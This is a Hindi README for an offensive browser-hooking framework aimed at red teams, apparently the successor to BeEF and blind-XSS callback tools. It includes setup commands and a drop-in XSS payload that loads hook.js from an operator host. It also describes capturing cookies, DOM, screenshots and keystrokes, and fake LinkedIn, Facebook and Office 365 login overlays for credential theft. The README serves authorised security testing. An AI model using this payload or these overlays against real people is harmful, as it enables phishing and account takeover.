
अधिकृत रेड टीमों और शिक्षकों के लिए ब्राउज़र-हुकिंग फ्रेमवर्क। XSS के माध्यम से ब्राउज़रों को हुक करता है, इंटरैक्टिव पोस्ट-एक्सप्लॉइटेशन नियंत्रण, ब्लाइंड-XSS लूट कैप्चर, सोशल-इंजीनियरिंग ओवरले और एक अभ्यास लैब प्रदान करता है।
रेड टीमों, सुरक्षा शोधकर्ताओं और शिक्षकों के लिए एक आधुनिक, स्टैंडअलोन ब्राउज़र-हुकिंग फ्रेमवर्क — BeEF और ब्लाइंड-XSS कॉलबैक टूल्स का एक क्लीन-रूम उत्तराधिकारी।
केवल अधिकृत सुरक्षा परीक्षण, अनुसंधान और शिक्षा के लिए। WRAITH एक आक्रामक-सुरक्षा टूल है जो फ़िशिंग / मैन-इन-द-ब्राउज़र / ब्लाइंड-XSS ट्रेडक्राफ्ट को प्रदर्शित करने और परीक्षण करने के लिए है। इसका उपयोग केवल उन सिस्टम और लोगों के विरुद्ध करें जिनका परीक्षण करने के लिए आपके पास स्पष्ट प्राधिकरण है। आप इसके उपयोग के तरीके के लिए स्वयं जिम्मेदार हैं।

Arcanum में अपने काम के दौरान, हम लगातार दो तरह के टूलिंग की ओर बढ़ते रहे और चाहते थे कि वे एक ही चीज़ हों।
एक तरफ BeEF था — ब्राउज़र एक्सप्लॉइटेशन फ्रेमवर्क — क्लासिक ब्राउज़र को हुक करें, फिर उसके सत्र के अंदर से काम करें वर्कफ़्लो के लिए: नकली लॉगिन की कीस्ट्रोक्स लें, स्थानीय नेटवर्क की रिकॉन करें, लाइव पीड़ित पर एक मॉड्यूल पुश करें। यह वह टूल है जिसका उपयोग हम मैन-इन-द-ब्राउज़र को लोगों के लिए वास्तविक बनाने के लिए करते थे। लेकिन यह अपनी उम्र दिखा रहा है, इसके बड़े हिस्से आज के ब्राउज़रों में अविश्वसनीय हैं, और सोशल-इंजीनियरिंग ओवरले एक दशक पुराने लॉगिन की तरह दिखते हैं।
दूसरी तरफ हमारे पसंदीदा ब्लाइंड-XSS कॉलबैक फ्रेमवर्क थे (XSS Hunter, ezXSS): एक फ़ील्ड में पेलोड डालें, और जिस क्षण यह कहीं ऐसी जगह फायर हो जिसे आप देख नहीं सकते, यह लूट के साथ घर कॉल करता है — ओरिजिन, कुकीज़, DOM, स्क्रीनशॉट।
हमें जिस चीज़ की तेजी से आवश्यकता थी — विशेष रूप से जैसे-जैसे हमारे अधिक लक्ष्य AI एप्लिकेशन इकोसिस्टम बनते गए, जहां अविश्वसनीय टेक्स्ट एजेंटों, टूल आउटपुट, एडमिन समीक्षा कतारों और सपोर्ट कंसोल के माध्यम से बहता है, और ऐसी जगहों पर JavaScript फायर करता है जहां कोई नहीं देख रहा — एक ऐसा फ्रेमवर्क था जो दोनों करता था: BeEF हुक का इंटरैक्टिव, स्थायी पोस्ट-एक्सप्लॉइटेशन नियंत्रण, और फायर-एंड-फॉरगेट ब्लाइंड-XSS कॉलबैक लूट, एक ही पेलोड में जो वर्तमान ब्राउज़रों में विश्वसनीय है और आज के वास्तविक लॉगिन स्क्रीन जैसा दिखता है।
इसलिए हमने WRAITH बनाया।
हम WRAITH को जानबूझकर जल्दी जारी कर रहे हैं। हम इसे उन लोगों के हाथों में देना पसंद करेंगे जो वास्तव में इसका उपयोग करेंगे — और सुनें कि क्या टूटता है — बजाय इसे तब तक रोके रखने के जब तक यह "पूरा" न हो जाए।
इसका मतलब है: खुरदरे किनारों और बग्स की उम्मीद करें। कुछ मॉड्यूल दूसरों की तुलना में अधिक युद्ध-परीक्षित हैं, ब्राउज़र व्यवहार हमारे नीचे लगातार बदलता रहता है (नीचे नेटवर्क-स्कैन नोट्स देखें), और API संस्करणों के बीच बदल सकते हैं। यदि आप किसी चीज़ से टकराते हैं, तो कृपया एक इश्यू खोलें — रीप्रो स्टेप्स, ब्राउज़र + संस्करण, और आपने क्या अपेक्षा की थी, यह सोना है। परियोजना के योगदान शर्तों के तहत PR का स्वागत है।
सबसे तेज़ रास्ता। आपको Docker + Docker Compose चाहिए।
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh आपको हर चीज़ के माध्यम से ले जाता है:
.env (chmod 600) लिखता है, और कंटेनर को बनाता + शुरू करता है। ऑपरेटर कंसोल : http://YOUR_IP:8090/operator/
लॉगिन पेज : http://YOUR_IP:8090/login (उपयोगकर्ता "operator")
डेमो पीड़ित पेज : http://YOUR_IP:8090/demo/
हुक पेलोड : http://YOUR_IP:8090/hook.js
ड्रॉप-इन XSS पेलोड:
"><script src="http://YOUR_IP:8090/hook.js"></script>
इसे मानक compose कमांड के साथ प्रबंधित करें:
docker compose logs -f # इसे देखें
docker compose down # रोकें (./data रखता है)
./setup.sh # पुन: कॉन्फ़िगर करें (पासवर्ड घुमाएं, पता बदलें, …)
कैप्चर किए गए सत्र होस्ट पर ./data/ में बने रहते हैं — कभी इमेज में बेक नहीं होते, कभी कमिट नहीं होते (.env और data/ gitignored हैं)।
ऑपरेटर कंसोल लॉगिन-गेटेड है जब भी एक ऑपरेटर पासवर्ड सेट होता है, उपयोगकर्ता नाम + पासवर्ड साइन-इन के साथ:

npm install
npm start
फिर ऑपरेटर कंसोल http://127.0.0.1:3000/operator/ पर और डेमो पीड़ित पेज http://127.0.0.1:3000/demo/ पर खोलें (दूसरे ब्राउज़र/प्रोफ़ाइल में)। लोकलहोस्ट पर, सुविधा के लिए लॉगिन डिफ़ॉल्ट रूप से अक्षम है — सर्वर ऑपरेटर पासवर्ड के बिना सार्वजनिक इंटरफ़ेस से बाइंड करने से इनकार करता है, ताकि आप गलती से एक खुला पैनल उजागर न कर सकें।
/hook.js एक छोटा पेलोड है। इसे किसी भी पेज में डालें जिसे आप नियंत्रित करते हैं (<script src="/hook.js"></script>) या इसे अपने लक्ष्य में XSS के माध्यम से वितरित करें। इसे लोड करने वाला ब्राउज़र ऑपरेटर के लिए एक WebSocket खोलता है, स्वयं को फिंगरप्रिंट करता है (ब्राउज़र, OS, IP, पेज, UA), स्वतः पुन: कनेक्ट होता है, और नेविगेशन से बच जाता है। हर हुक किया गया ब्राउज़र कंसोल में लाइव दिखाई देता है, जहां आप एक चुनते हैं और उसे चलाते हैं — पूरा डैशबोर्ड इस README के शीर्ष पर हीरो शॉट है: हुक किए गए ब्राउज़र रोस्टर, लक्ष्य विवरण, तैनाती नियंत्रण, लाइव गतिविधि फ़ीड, और कैप्चर किए गए क्रेडेंशियल।
आधुनिक नकली-लॉगिन ओवरले, एक पृथक शैडो DOM में प्रस्तुत किए जाते हैं ताकि वे किसी भी होस्ट पेज पर पिक्सेल-सही दिखें और उनके पीछे के पेज को वास्तविक री-ऑथ मोडल की तरह फ्रॉस्ट-ब्लर करें। LinkedIn, Facebook, और Microsoft / Office 365 (प्रामाणिक दो-चरणीय ईमेल → पासवर्ड) के साथ शिप होता है।

लक्ष्य ओवरले में टाइप करता है हर अक्षर वास्तविक समय में कंसोल पर स्ट्रीम होता है, और सबमिट किए गए क्रेडेंशियल कैप्चर किए गए क्रेडेंशियल में पहुंचते हैं — सभी स्थायी रूप से संग्रहीत होते हैं ताकि रीफ्रेश या पुनरारंभ पर कुछ भी न खोए।

जिस क्षण एक ब्राउज़र हुक करता है, WRAITH स्वतः पेज कैप्चर फायर करता है: वास्तव में वही जो एक ब्लाइंड-XSS फ्रेमवर्क पकड़ता है जब आपका पेलोड कहीं ऐसी जगह फायर करता है जिसे आप देख नहीं सकते — कहां यह फायर हुआ (ओरिजिन + URL + रेफरर), पीड़ित की कुकीज़ (गैर-HttpOnly), पूरा DOM, और एक स्क्रीनशॉट। विफलताओं की ईमानदारी से रिपोर्ट की जाती है, क्योंकि वे सबक हैं: HttpOnly कुकीज़ कभी दिखाई नहीं देतीं, और CSP या क्रॉस-ओरिजिन कैनवास टेंटिंग स्क्रीनशॉट को ब्लॉक कर सकती है।

यह वह जगह है जहां WRAITH उन टूल्स से आगे जाता है जिन्हें यह प्रतिस्थापित करता है। जब आप किसी पेज में ब्लाइंड XSS या हुक उतारते हैं, तो अधिकांश फ्रेमवर्क स्क्रीनशॉट और कच्चे HTML के डंप पर रुक जाते हैं — आप देख सकते हैं कि आपका पेलोड कहां फायर हुआ, लेकिन आप वास्तव में इसके साथ कुछ नहीं कर सकते।